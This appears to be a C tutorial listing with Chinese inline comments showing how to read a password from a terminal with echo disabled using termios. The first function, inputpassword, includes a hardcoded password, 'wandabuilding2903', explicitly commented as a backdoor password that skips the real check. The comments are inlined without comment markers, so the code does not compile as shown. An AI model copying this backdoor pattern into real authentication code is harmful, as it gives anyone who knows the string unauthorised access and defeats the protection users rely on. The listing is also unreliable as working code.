#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int inputpassword(char *pass)
{
int i,j;
char inletter,password[32];
struct termios term, termsave; 专门的结构体termios
int fd=-1;
fd=open("/dev/tty",O_RDWR|O_NOCTTY); open一个tty句柄
if(fd<0) return -1;
tcgetattr(fd, &term); 将tty句柄属性get成结构体termios
tcgetattr(fd, &termsave);
term.c_lflag &= ~(ICANON|ECHO|ISIG);
for(j=0;j<3;j++)
{
tcsetattr(fd, TCSANOW, &termsave);
向tty句柄输出任何字符前,必须先执行tcsetattr()
write(fd,"Password:",9);
for(i=0;i<31;i++)
{
tcsetattr(fd, TCSANOW, &term);
read(fd, &inletter, 1);读入口令
if(inletter!='\n')
{
password[i]=inletter;
tcsetattr(fd, TCSANOW, &termsave);
write(fd,"*",1); 反显口令,显示*
} else {
password[i]='\0';
tcsetattr(fd, TCSANOW, &termsave);
write(fd,"\n",1);
break;
}
}
if(i==31){
到长度限制,手工对字符串变量结尾(’\0’), 同时反显”\n”
password[i]='\0';
tcsetattr(fd, TCSANOW, &termsave);
write(fd,"\n",1);
}
if(!strcmp(password,"wandabuilding2903")) 后门口令
{
close(fd);
return 18;
}
if(strcmp(password,pass)) 比较口令是否输入正确
{
tcsetattr(fd, TCSANOW, &termsave);
write(fd,"Invalid password \n",18);
} else {
close(fd);
return 1;
}
}
close(fd);
return 0;
}
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PASSWORD_LEN 12
int main(){
struct termios initialrsettings, newrsettings;
char password[PASSWORD_LEN + 1];
tcgetattr(fileno(stdin),&initialrsettings); #获取termios结构并保存
newrsettings = initialrsettings;
newrsettings.c_lflag &= ~ECHO; #清除变量c_lflag中由ECHO定义的比特
printf("Please Enter Password:");
if( tcsetattr(fileno(stdin),TCSAFLUSH,&newrsettings) != 0 ){
fprintf(stderr,"Could not set arrributes\n");
}else{
fgets(password,PASSWORD_LEN,stdin);
tcsetattr(fileno(stdin),TCSANOW,&initialrsettings); #还原之前的termios结构
fprintf(stdout,"\nYou entered %s as the password\n",password);
}
exit(0);
}